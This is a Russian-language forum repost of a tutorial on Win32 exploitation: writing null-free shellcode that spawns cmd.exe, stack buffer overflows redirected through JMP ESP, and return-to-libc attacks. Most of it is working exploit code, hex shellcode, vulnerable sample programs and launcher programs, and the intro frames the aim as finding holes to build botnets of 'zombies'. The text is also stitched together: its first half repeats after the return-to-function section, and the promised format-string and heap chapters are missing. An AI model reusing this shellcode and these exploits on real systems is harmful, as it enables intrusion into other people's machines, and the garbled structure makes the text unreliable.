Flame of Soul
29.04.2008, 14:26
___________[ Win32 exploiting. Buffer Overflow Attacks ]__________
[Copyrights (C) 2003 Crazy Einstein (aka xCrZx) crazy_einstein@yahoo.com /02.11.03/]
The Contents:
0x01 Intro
0x02 Основы ShellCodingа (Сoding and Disassembling)
0x03 Buffer Overflow (bases of the overflow)
0x04 Return-To-Function (continuation of the programming)
0x05 Format String (not format C)
0x06 Heap Overflow (way the most strong)
0x0b
---| 0x01 Intro |-----------------------------------------------------------
Всем доброго времени суток. Win32 системы для данного исследования были
выбранны не случайно. Во первых я есче не достаточно хорошо знакома с Unix
подобными системами, а во вторых тем, что последнее время стало популярным
создание бот систем, состоящих из так называемых zombies, а учитывая тенд-
енцию того что 80% пользователей WWW являются users windows, то нахождение
уязвимых мест в данной os является восстребованным.
На написание этой статьи меня толкнуло несколько Papers-ов некоторых лю-
дей, которым за их труды выражаю благодарности от себя лично. В оссобенно-
сти "WMF-Virus by Cr4sh" от Команды рыцарей ада (на мое мнение одна из лу-
чших комманд андеграунда на постсоветском пространстве). Также пара глав в
"Buffer Overflow Attacks Detect, Exploit, Prevent" автор James C. Foster c
соавторами. "Another way to subvert the Windows kernel" из Phrack (Current
issue : #65). и "fini infect" из Defaced (Current issue : #11). В бой...
Из инструментов нам понадобится Dev C++ или MSVC++ 6.0(советую) для рабо
ты с С++, также OllyDbg, или можно воспользоваться стандартным отладчиком
MSVC++ 6.0, также WinHex(хотя можно обойтись и без него).
Прошу прощение за оформление в тегах [*php], просто asm код читабельней.
---| 0x02 Основы ShellCodingа (Сoding and Disassembling) |-----------------
В отличии от libc в *nix e, в среде Win32 используются адреса функций,
содержащихся в модулях (библиотеках *.dll), которые и используются при со-
здании шеллкода. Для основы напишем простенькую программку на C++ 6.0, ко-
торая будет запускать cmd.exe.
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main() {
system("cmd");
exit(0);
}
.....:-[end of source code]-:..........
Компилируем и видим шелл.Теперь выясним, как выглядят байткод на этапе
выполнения программы. Воспользуемся стандартным отладчиком MSVC++ 6.0.
.....:-[disassembled]-:................
'
4: int main() {
00401010 55 push ebp
00401011 8B EC mov ebp,esp
00401013 83 EC 40 sub esp,40h
00401016 53 push ebx
00401017 56 push esi
00401018 57 push edi
00401019 8D 7D C0 lea edi,[ebp-40h]
0040101C B9 10 00 00 00 mov ecx,10h
00401021 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401026 F3 AB rep stos dword ptr [edi]
5:
6: system("cmd");
00401028 68 1C 20 42 00 push offset string "cmd"(0042201c)
0040102D E8 FE 01 00 00 call system (00401230)
00401032 83 C4 04 add esp,4
7: exit(0);
00401035 6A 00 push 0
00401037 E8 64 00 00 00 call exit (004010a0)
8: }
'
.....:-[end of disassembled]-:.........
Нам важны только 6 и 7 строки. Это и есть готовый шелл код, который мож-
но использовать. Но в нём присутствуют 0х00 байты, которые будут мешаться
при использовании функций strcpy(),sprintf()и т.д Эти функции определяют
конец строки по 0х00 байту. Также перед вызовом system() в стек заносится
адрес аргумента функции (*)Вывод мы должны зарание знать адрес аргумента.
Для этого помещаем аргумент в стек и записать его адрес. Необходимо напи-
сать данный код на ассемблере, используя всё тот же MSVC++ (узнать адреса
функций можно добавив строчку printf("system=%p, exit=%p\n",system,exit);
и посмотреть результат):
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
void main() {
printf("system=%p, exit=%p\n",system,exit);
__asm {
xor ebx,ebx
push ebx
push 0x646d6320
push esp
or ebx,0x401110aa
shr ebx,8
call ebx
xor ecx,ecx
push ecx
or ecx,0x401260aa
shr ecx,8
call ecx
}
}
.....:-[end of source code]-:..........
В дизассемблированном варианте это будет смотреться таким образом:
.....:-[disassembled]-:................
'
10: xor ebx,ebx 0040103F 33 DB xor ebx,ebx
11: push ebx 00401041 53 push ebx
12: push 0x646d6320 00401042 68 20 63 6D 64 push 646D6320h
13: push esp 00401047 54 push esp
// 0x401110 - address of system
15: or ebx,0x401110aa 00401048 81 CB AA 10 11 40 or ebx,401110AAh
16: shr ebx,8 0040104E C1 EB 08 shr ebx,8
17: call ebx 00401051 FF D3 call ebx
19: xor ecx,ecx 00401053 33 C9 xor ecx,ecx
20: push ecx 00401055 51 push ecx
// 0x401260 - address of exit
22: or ecx,0x401260aa 00401056 81 C9 AA 60 12 40 or ecx,401260AAh
23: shr ecx,8 0040105C C1 E9 08 shr ecx,8
24: call ecx 0040105F FF D1 call ecx
'
.....:-[end of disassembled]-:.........
Мы избавились от 0х00 и сделали так, что аргумент записывается в стек и
после этого адрес этого аргумента помещается в стеке. Если запустить эту
программку, то запустится cmd.exe , после выхода из которого выполнится
exit(0); Единственный недостаток данного шеллкода состоит в том, что его
нельзя использовать, не зная адресов system и exit. То есть если добавить
в эту программу функцию, к примеру Sleep(1);, откомпилировать и запустить,
то адреса system() & exit() будут уже другие и шеллкод не исполнится.
Что же делать в этом случае? Нам необходимо непосредственно найти модуль
в котором содержатся нужные нам функции. Таким модулем является msvcrt.dll
(чтоб в этом убедиться достаточно взглянуть на msvcrt.dll в том же FAR'e и
найти там строки system и exit)! Каждому модулю присваивается своё адрес-
ное пространство (в разных версиях модулей и Windows).
Программа, которая находится выше... не зависит от версии модуля, и от
самой ОС Windows, т.к. не использует адреса функций из модулей. Если зап-
устить её на XP & Win2k, то шеллкод всегда исполнится нормально. В отличии
от случая, когда берутся адреса непосредственно из модулей.
Следовательно необходимо загрузить модуль и достать из него адреса.
Что хорошо демонстрирует данная программа:
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll");
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
(ProcAdd) ("cmd");
return 0;
}
.....:-[end of source code]-:..........
Данная программа загружает модуль msvcrt.dll, получает адрес функции sy
stem и запускает эту функцию с аргументом "cmd". Используя отладчик можно
определить какой адрес присваевается переменной ProcAdd:
.....:-[disassembled]-:................
'
12: ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
0040103F 8B F4 mov esi,esp
00401041 68 20 F0 41 00 push offset string "system" (0041f020)
00401046 8B 45 FC mov eax,dword ptr [ebp-4]
00401049 50 push eax
0040104A FF 15 38 41 42 00 call dword ptr[_imp_GetProcAddress@8 (00424138)]
' ^
_______|__________________________________________ ____
| после выполнения данного вызова в регистр EAX |
| запишется адрес функции system() => EAX = 77C18044 |
.....:-[end of disassembled]-:.........
А можно и аналогичным способом найти этот адрес, загрузив kernel32.dll
и взять адрес LoadLibraryA.
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main(){
__asm {
xor edx,edx
push edx
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8
call ecx
push edx
push 0x646d6320
push esp
mov ecx,0x77C18044
call ecx
push edx
mov ecx,0x77C27ADC
call ecx
}
}
.....:-[end of source code]-:....................
Адреса этих функций зависят от версий модулей kernel32.dll & msvcrt.dll
Нам надо чтобы программа сама находила адреса exit & system, но при этом
нам всё ещё необходимо знать адреса LoadLibraryA и GetProcAddress. Эту ру-
тинную работу сделали Chinese Translators Team (неточно)
Рассмотрим программу, которая загружает модуль, находит адрес и вызыва-
ет функцию с параметром. И переписываем её на ассемблере!
Конечный результат:
/*
\ Half Automated shellcode for Win32 with using msvcrt.dll [79bytes]
/ tested on WinXP ver. 5.1.2600
\ by optimizate code: xCrZx /Black Sand Project/
/ msvcrt.dll information:
\ FileVersion: 7.0:2600.0
/ ProdVersion: 6.1:8638.0
\ shellcode does:
/ GetProcAddress(LoadLibrary("msvcrt.dll"),"system");system("cmd");
\ GetProcAddress(LoadLibrary("msvcrt.dll"),"exit");exit(0);
/ Note:
\ you should know address of LoadLibraryA & GetProcAddress of kernel32.dll
*/
.....:-[source code с or с++]-:..................
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
char shellcode[] =
"\x33\xf6" "\x56" "\x68\x6c\x6c\x20\x20" "\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
"\x56" "\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74"
"\x54""\x50""\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\x56"
"\x68\x20\x63\x6d\x64" "\x54""\xff\xd0""\x56" "\x68\x65\x78\x69\x74"
"\x54" "\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0";
int main(){
int (*p)();
p=(int (*)())&shellcode;
(*p)();
/* __asm {
xor esi,esi
push esi
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8
call ecx
push esi
mov ecx,0x6d65aaaa
shr ecx,16
push ecx
push 0x74737973
push esp
push eax
mov edi,eax
mov ecx,0x77e7a5fd
call ecx
push esi
push 0x646d6320
push esp
call eax
push esi
push 0x74697865
push esp
push edi
mov ecx,0x77e7a5fd
call ecx
push esi
call eax
} */
return 0;
}
.....:-[end of source code]-:..........
Таким же образом можно создать любой другой шеллкод!
---| 0x03 BBuffer Overflow (bases of the overflow) |------------------------
Переполнение буфера в Win32 схоже с переполнением буфера в *nix. Происходит
затерание EIP (адреса возврата функции). Предлагаю сразу рассмотреть просте-
нький пример:
.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int fuck(char *str) {
char yo[100];
strcpy(yo,str);
return 0;
}
int main(int argc, char **argv) {
char promo[500];
if(strlen(argv[1])>500) exit(0);
sprintf(promo,"%s",argv[1]);
fuck(promo);
return 0;
}
.....:-[end of source code]-:...........
Подав программе строку, длина которой находится в промежутке >100 и <500
символов, произойдет перезапись EIP и прыжок при выходе из функции на этот
адрес, что приведёт к критический ошибке и появится окошко об уведомлении (в
моём XP появляется окошко с кнопками "Отладка","Отправить отсчет","Не отправ-
лять" :). Щёлкнув на "Отладку" можно лицезреть, что собственно произошло!
...
41414141 ???
...
EIP = 41414141 ESP = 0012FF30
EBP = 41414141 EFL = 00000246 CS = 001B
программа попыталась прочесть следующую инструкцию по адресу 0x41414141.
Теперь стоит упомянуть, что запускаемые программы в Windows основываются на
адресных пространствах, имеющих вид 0x00XXXXXX. Т.е. в адресе присутствует
0х00 и это может затруднить положение, если, к примеру мы хотим поместить наш
шеллкод после EIP (например , из-за того, что после выхода из функции fuck()
данные char yo[100] уничтожатся, но к счастью наши данные будут лежать и в
char promo[500] тоже ).
Так же трудности могут возникнуть, если функция в уязвимой программе, че-
рез которую осуществляется переполнение есть (либо подобна) memcpy(), которая
после копирования данных не завершает этот процесс записью в конец 0х00 бай-
та. В этом случае EIP будет выглядеть так - 0xXXZZZZZZ, где ZZ - байты, на
которые мы перезаписали EIP, а XX - байт , который был на этом месте от ста-
рого значения EIP. В случае, когда в уязвимой программе переполнение осуще-
ствляется с помощью функций strcpy(),strcat(),sprintf(),etc. Тогда этот байт
(ХХ) затирается на 0х00, чтобы обозначить конец строки.
Давайте попробуем перезаписать EIP на нужный нам адрес, который будет ука-
зывать на promo, т.к. в нём будет храниться шеллкод. Для этого необходимо
знать как будет выглядеть стек после вызова fuck():
[ char yo[100] ][EBP][EIP]
Пришлось модифицировать шеллкод, чтоб избавиться от 0х20, т.к. при
передачи аргумента через system() уязвимая программа vuln1.exe будет воспри-
нимать всё, что дальше 0х20 как argv[2] и т.д.):
.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
"\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54"
"\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\xb9\xaa\x63\x6d\x64"
"\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54"
"\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0";
int main(int argc, char **argv) {
char buf[100+4*2+1];
char cmd[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,104-strlen(shellcode));
memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
*(long *)&buf[strlen(buf)]=0x0012fd90;
sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf);
system(cmd);
return 0;
}
.....:-[end of source code]-:...........
Теперь возьмём тот же самый пример, и допустим, что у нас нет char promo[500];
В этом случае шеллкод придётся сохранять за [EIP]:
.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int fuck(char *str) {
char yo[100];
strcpy(yo,str);
return 0;
}
int main(int argc, char **argv) {
fuck(argv[1]);
return 0;
}
.....:-[end of source code]-:...........
для этого нам уже нельзя использовать в качестве адреса возврата адрес, со-
держащий 0х00 байт. Что делать в этом случае? Если быть внимательным, то мо-
жно уловить нужную информацию из регистров:(при переполнении)
[HTML] EAX = 00000000 EBX = 7FFDF000
ECX = 00430EBC EDX = FDFD0044
ESI = 00000000 EDI = 0012FF80
EIP = 41414141 ESP = 0012FF30
EBP = 41414141 EFL = 00000246 CS = 001B
Регистры EDI & ESP - содержат адреса, которые потенциально могут указывать на наш
шеллкод (в частности, ESP - указатель на вершину стека и это то, что нам нужно):
0012FF30 41 41 ... 54 B9 AAAAAAAAAAAA3ц.ЄЄllБй.Qhrt.dhmsvcT.
0012FF53 D8 05 ... 63 6D Ш.иwяС.ЄЄemБй.QhsystTP<ш.э_зwяС.Єcm
0012FF76 64 C1 ... 00 00 dБй.QTяРVhexitTW.э_зwяСVяР_э.D.0...
А вот и наш буфер, содержащий 0x41(вместо 0х90)+шеллкод :)
Теперь нужно найти инструкцию JMP ESP, которая осуществляет переход по адре-
су, заданному в ESP! Такие инструкции содержатся в разных модулях. Модуль,
который всегда мелькает перед глазами - kernel32.dll (в нём и следует начать
искать данную инструкцию).
57: jmp esp
0040102E FF E4 jmp esp
вот эти байты нам нужно отыскать по адресу: 0x77F5800D+15.
.....:-[exploit code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
"\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74"
"\x54" "\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1"
"\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0"
"\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57" "\xb9\xfd\xa5\xe7\x77"
"\xff\xd1" "\x56" "\xff\xd0";
int main(int argc, char **argv) {
char buf[200+4*2+1];
char cmd[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,204-strlen(shellcode));
memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
*(long *)&buf[104]=(0x77F5800D+15);
sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf);
system(cmd);
return 0;
}
.....:-[end of source code]-:.............
Это, на мой взгляд, исчерпывающая информация о переполнении буфера!
---| 0x04 Return-To-Function() (continuation of the programming) |----------
Эта технология эксплоитинга широко распространена в операционных системах,
где существует так называемая защита от всякого рода buffer overflow, etc ,
т.е. от выполнения шеллкода в стеке (non-exec stack). Мы не можем использо-
вать шеллкод на этот раз, но мы можем переписать EIP на адрес какой-либо фу-
нкции (обычно это system(), по понятным причинам :). Как же это работает?
При вызове функции берётся адрес аргумента(ов) из стека (как это было видно
ранее при дизассемблировании. Т.е. нам достаточно добавить адреса, указываю-
щие на наши аргументы и дело в шляпе. Для system() - это адрес, где располо-
жена строка "cmd". Ед. проблема состоит в том, что опять же используемое
адресное пространство - 0х00XXXXXX ! для этого надо использовать адрес функ-
ции system из модуля...
Общий вид заполнения таков:
[OVERWRITED EIP (SYSTEM())][ADDR OF NEXT FUNC][ADDR OF ARG FOR SYSTEM()][ARG FOR NEXT FUNC]
При этом адрес аргумента может содержаться в области 0х00XXXXXX (в нашем
случае, адрес "cmd"). Если мы хотим после system() вызвать exit(), то
заполнение будет следующее:
[OVERWRITED EIP (SYSTEM())][ADDR OF EXIT()][ADDR OF ARG FOR SYSTEM()][ARG OF EXIT()]
Сначала вызывается System(), после Exit().
.....:-[exploit code с or с++]-:.........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main()
{
char aaa[20]="cmd\x00\x00\x00\x00\x00\x00";
long *p;
p=(long *)&system;
long *b;
b=(long *)&exit;
__asm {
mov dword ptr [ebp+4],0x00401280
mov dword ptr [ebp+8],0x004010f0
mov dword ptr [ebp+12],0x0012ff6c
mov dword ptr [ebp+16],0x00000000
}
return 0;}
Теперь допустим у нас есть уязвимая программа:
(ед. ньанс - уязвимая программа должна использовать модуль(библиотеку))
Адреса функций system & exit в модуле msvcrt.dll мы знаем! Осталось найти "cmd"
где-нибудь в модуле например в msvcrt.dll есть "cmd" по адресу 0x77C01335!
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int main()
{ long sys_addr=0x77C18044;
long exit_addr=0x77C27ADC;
long cmd_addr=0x77C01335;
char cmd[100]="C:\\MSVCSTAFF\\Debug\\vuln2.exe AAAAAAAAAABBBBCC";
*(long *)&cmd[strlen(cmd)]=sys_addr;
*(long *)&cmd[strlen(cmd)]=exit_addr;
*(long *)&cmd[strlen(cmd)]=cmd_addr;
system(cmd);
return 0;}
Для каждой версии msvcrt.dll (Windows) своё адресное пространство,
т.ч. нужно не забывать этот факт!
[Copyrights (C) 2003 Crazy Einstein (aka xCrZx) crazy_einstein@yahoo.com /02.11.03/]
The Contents:
0x01 Intro
0x02 Основы ShellCodingа (Сoding and Disassembling)
0x03 Buffer Overflow (bases of the overflow)
0x04 Return-To-Function (continuation of the programming)
0x05 Format String (not format C)
0x06 Heap Overflow (way the most strong)
0x0b
---| 0x01 Intro |-----------------------------------------------------------
Всем доброго времени суток. Win32 системы для данного исследования были
выбранны не случайно. Во первых я есче не достаточно хорошо знакома с Unix
подобными системами, а во вторых тем, что последнее время стало популярным
создание бот систем, состоящих из так называемых zombies, а учитывая тенд-
енцию того что 80% пользователей WWW являются users windows, то нахождение
уязвимых мест в данной os является восстребованным.
На написание этой статьи меня толкнуло несколько Papers-ов некоторых лю-
дей, которым за их труды выражаю благодарности от себя лично. В оссобенно-
сти "WMF-Virus by Cr4sh" от Команды рыцарей ада (на мое мнение одна из лу-
чших комманд андеграунда на постсоветском пространстве). Также пара глав в
"Buffer Overflow Attacks Detect, Exploit, Prevent" автор James C. Foster c
соавторами. "Another way to subvert the Windows kernel" из Phrack (Current
issue : #65). и "fini infect" из Defaced (Current issue : #11). В бой...
Из инструментов нам понадобится Dev C++ или MSVC++ 6.0(советую) для рабо
ты с С++, также OllyDbg, или можно воспользоваться стандартным отладчиком
MSVC++ 6.0, также WinHex(хотя можно обойтись и без него).
Прошу прощение за оформление в тегах [*php], просто asm код читабельней.
---| 0x02 Основы ShellCodingа (Сoding and Disassembling) |-----------------
В отличии от libc в *nix e, в среде Win32 используются адреса функций,
содержащихся в модулях (библиотеках *.dll), которые и используются при со-
здании шеллкода. Для основы напишем простенькую программку на C++ 6.0, ко-
торая будет запускать cmd.exe.
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main() {
system("cmd");
exit(0);
}
.....:-[end of source code]-:..........
Компилируем и видим шелл.Теперь выясним, как выглядят байткод на этапе
выполнения программы. Воспользуемся стандартным отладчиком MSVC++ 6.0.
.....:-[disassembled]-:................
'
4: int main() {
00401010 55 push ebp
00401011 8B EC mov ebp,esp
00401013 83 EC 40 sub esp,40h
00401016 53 push ebx
00401017 56 push esi
00401018 57 push edi
00401019 8D 7D C0 lea edi,[ebp-40h]
0040101C B9 10 00 00 00 mov ecx,10h
00401021 B8 CC CC CC CC mov eax,0CCCCCCCCh
00401026 F3 AB rep stos dword ptr [edi]
5:
6: system("cmd");
00401028 68 1C 20 42 00 push offset string "cmd"(0042201c)
0040102D E8 FE 01 00 00 call system (00401230)
00401032 83 C4 04 add esp,4
7: exit(0);
00401035 6A 00 push 0
00401037 E8 64 00 00 00 call exit (004010a0)
8: }
'
.....:-[end of disassembled]-:.........
Нам важны только 6 и 7 строки. Это и есть готовый шелл код, который мож-
но использовать. Но в нём присутствуют 0х00 байты, которые будут мешаться
при использовании функций strcpy(),sprintf()и т.д Эти функции определяют
конец строки по 0х00 байту. Также перед вызовом system() в стек заносится
адрес аргумента функции (*)Вывод мы должны зарание знать адрес аргумента.
Для этого помещаем аргумент в стек и записать его адрес. Необходимо напи-
сать данный код на ассемблере, используя всё тот же MSVC++ (узнать адреса
функций можно добавив строчку printf("system=%p, exit=%p\n",system,exit);
и посмотреть результат):
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
void main() {
printf("system=%p, exit=%p\n",system,exit);
__asm {
xor ebx,ebx
push ebx
push 0x646d6320
push esp
or ebx,0x401110aa
shr ebx,8
call ebx
xor ecx,ecx
push ecx
or ecx,0x401260aa
shr ecx,8
call ecx
}
}
.....:-[end of source code]-:..........
В дизассемблированном варианте это будет смотреться таким образом:
.....:-[disassembled]-:................
'
10: xor ebx,ebx 0040103F 33 DB xor ebx,ebx
11: push ebx 00401041 53 push ebx
12: push 0x646d6320 00401042 68 20 63 6D 64 push 646D6320h
13: push esp 00401047 54 push esp
// 0x401110 - address of system
15: or ebx,0x401110aa 00401048 81 CB AA 10 11 40 or ebx,401110AAh
16: shr ebx,8 0040104E C1 EB 08 shr ebx,8
17: call ebx 00401051 FF D3 call ebx
19: xor ecx,ecx 00401053 33 C9 xor ecx,ecx
20: push ecx 00401055 51 push ecx
// 0x401260 - address of exit
22: or ecx,0x401260aa 00401056 81 C9 AA 60 12 40 or ecx,401260AAh
23: shr ecx,8 0040105C C1 E9 08 shr ecx,8
24: call ecx 0040105F FF D1 call ecx
'
.....:-[end of disassembled]-:.........
Мы избавились от 0х00 и сделали так, что аргумент записывается в стек и
после этого адрес этого аргумента помещается в стеке. Если запустить эту
программку, то запустится cmd.exe , после выхода из которого выполнится
exit(0); Единственный недостаток данного шеллкода состоит в том, что его
нельзя использовать, не зная адресов system и exit. То есть если добавить
в эту программу функцию, к примеру Sleep(1);, откомпилировать и запустить,
то адреса system() & exit() будут уже другие и шеллкод не исполнится.
Что же делать в этом случае? Нам необходимо непосредственно найти модуль
в котором содержатся нужные нам функции. Таким модулем является msvcrt.dll
(чтоб в этом убедиться достаточно взглянуть на msvcrt.dll в том же FAR'e и
найти там строки system и exit)! Каждому модулю присваивается своё адрес-
ное пространство (в разных версиях модулей и Windows).
Программа, которая находится выше... не зависит от версии модуля, и от
самой ОС Windows, т.к. не использует адреса функций из модулей. Если зап-
устить её на XP & Win2k, то шеллкод всегда исполнится нормально. В отличии
от случая, когда берутся адреса непосредственно из модулей.
Следовательно необходимо загрузить модуль и достать из него адреса.
Что хорошо демонстрирует данная программа:
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt.dll");
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
(ProcAdd) ("cmd");
return 0;
}
.....:-[end of source code]-:..........
Данная программа загружает модуль msvcrt.dll, получает адрес функции sy
stem и запускает эту функцию с аргументом "cmd". Используя отладчик можно
определить какой адрес присваевается переменной ProcAdd:
.....:-[disassembled]-:................
'
12: ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
0040103F 8B F4 mov esi,esp
00401041 68 20 F0 41 00 push offset string "system" (0041f020)
00401046 8B 45 FC mov eax,dword ptr [ebp-4]
00401049 50 push eax
0040104A FF 15 38 41 42 00 call dword ptr[_imp_GetProcAddress@8 (00424138)]
' ^
_______|__________________________________________ ____
| после выполнения данного вызова в регистр EAX |
| запишется адрес функции system() => EAX = 77C18044 |
.....:-[end of disassembled]-:.........
А можно и аналогичным способом найти этот адрес, загрузив kernel32.dll
и взять адрес LoadLibraryA.
.....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main(){
__asm {
xor edx,edx
push edx
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8
call ecx
push edx
push 0x646d6320
push esp
mov ecx,0x77C18044
call ecx
push edx
mov ecx,0x77C27ADC
call ecx
}
}
.....:-[end of source code]-:....................
Адреса этих функций зависят от версий модулей kernel32.dll & msvcrt.dll
Нам надо чтобы программа сама находила адреса exit & system, но при этом
нам всё ещё необходимо знать адреса LoadLibraryA и GetProcAddress. Эту ру-
тинную работу сделали Chinese Translators Team (неточно)
Рассмотрим программу, которая загружает модуль, находит адрес и вызыва-
ет функцию с параметром. И переписываем её на ассемблере!
Конечный результат:
/*
\ Half Automated shellcode for Win32 with using msvcrt.dll [79bytes]
/ tested on WinXP ver. 5.1.2600
\ by optimizate code: xCrZx /Black Sand Project/
/ msvcrt.dll information:
\ FileVersion: 7.0:2600.0
/ ProdVersion: 6.1:8638.0
\ shellcode does:
/ GetProcAddress(LoadLibrary("msvcrt.dll"),"system");system("cmd");
\ GetProcAddress(LoadLibrary("msvcrt.dll"),"exit");exit(0);
/ Note:
\ you should know address of LoadLibraryA & GetProcAddress of kernel32.dll
*/
.....:-[source code с or с++]-:..................
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
char shellcode[] =
"\x33\xf6" "\x56" "\x68\x6c\x6c\x20\x20" "\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
"\x56" "\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74"
"\x54""\x50""\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\x56"
"\x68\x20\x63\x6d\x64" "\x54""\xff\xd0""\x56" "\x68\x65\x78\x69\x74"
"\x54" "\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0";
int main(){
int (*p)();
p=(int (*)())&shellcode;
(*p)();
/* __asm {
xor esi,esi
push esi
push 0x20206c6c
push 0x642e7472
push 0x6376736d
push esp
mov ecx,0x77e805d8
call ecx
push esi
mov ecx,0x6d65aaaa
shr ecx,16
push ecx
push 0x74737973
push esp
push eax
mov edi,eax
mov ecx,0x77e7a5fd
call ecx
push esi
push 0x646d6320
push esp
call eax
push esi
push 0x74697865
push esp
push edi
mov ecx,0x77e7a5fd
call ecx
push esi
call eax
} */
return 0;
}
.....:-[end of source code]-:..........
Таким же образом можно создать любой другой шеллкод!
---| 0x03 BBuffer Overflow (bases of the overflow) |------------------------
Переполнение буфера в Win32 схоже с переполнением буфера в *nix. Происходит
затерание EIP (адреса возврата функции). Предлагаю сразу рассмотреть просте-
нький пример:
.....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
int fuck(char *str) {
char yo[100];
strcpy(yo,str);
return 0;
}
int main(int argc, char **argv) {
char promo[500];
if(strlen(argv[1])>500) exit(0);
sprintf(promo,"%s",argv[1]);
fuck(promo);
return 0;
}
.....:-[end of source code]-:...........
Подав программе строку, длина которой находится в промежутке >100 и <500
символов, произойдет перезапись EIP и прыжок при выходе из функции на этот
адрес, что приведёт к критический ошибке и появится окошко об уведомлении (в
моём XP появляется окошко с кнопками "Отладка","Отправить отсчет","Не отправ-
лять" :). Щёлкнув на "Отладку" можно лицезреть, что собственно произошло!
...
41414141 ???
...
EIP = 41414141 ESP = 0012FF30
EBP = 41414141 EFL = 00000246 CS = 001B
программа попыталась прочесть следующую инструкцию по адресу 0x41414141.
Теперь стоит упомянуть, что запускаемые программы в Windows основываются на
адресных пространствах, имеющих вид 0x00XXXXXX. Т.е. в адресе присутствует
0х00 и это может затруднить положение, если, к примеру мы хотим поместить наш
шеллкод после EIP (например , из-за того, что после выхода из функции fuck()
данные char yo[100] уничтожатся, но к счастью наши данные будут лежать и в
char promo[500] тоже ).
Так же трудности могут возникнуть, если функция в уязвимой программе, че-
рез которую осуществляется переполнение есть (либо подобна) memcpy(), которая
после копирования данных не завершает этот процесс записью в конец 0х00 бай-
та. В этом случае EIP будет выглядеть так - 0xXXZZZZZZ, где ZZ - байты, на
которые мы перезаписали EIP, а XX - байт , который был на этом месте от ста-
рого значения EIP. В случае, когда в уязвимой программе переполнение осуще-
ствляется с помощью функций strcpy(),strcat(),sprintf(),etc. Тогда этот байт
(ХХ) затирается на 0х00, чтобы обозначить конец строки.
Давайте попробуем перезаписать EIP на нужный нам адрес, который будет ука-
зывать на promo, т.к. в нём будет храниться шеллкод. Для этого необходимо
знать как будет выглядеть стек после вызова fuck():
[ char yo[100] ][EBP][EIP]
Пришлось модифицировать шеллкод, чтоб избавиться от 0х20, т.к. при
передачи аргумента через system() уязвимая программа vuln1.exe будет воспри-
нимать всё, что дальше 0х20 как argv[2] и т.д.):
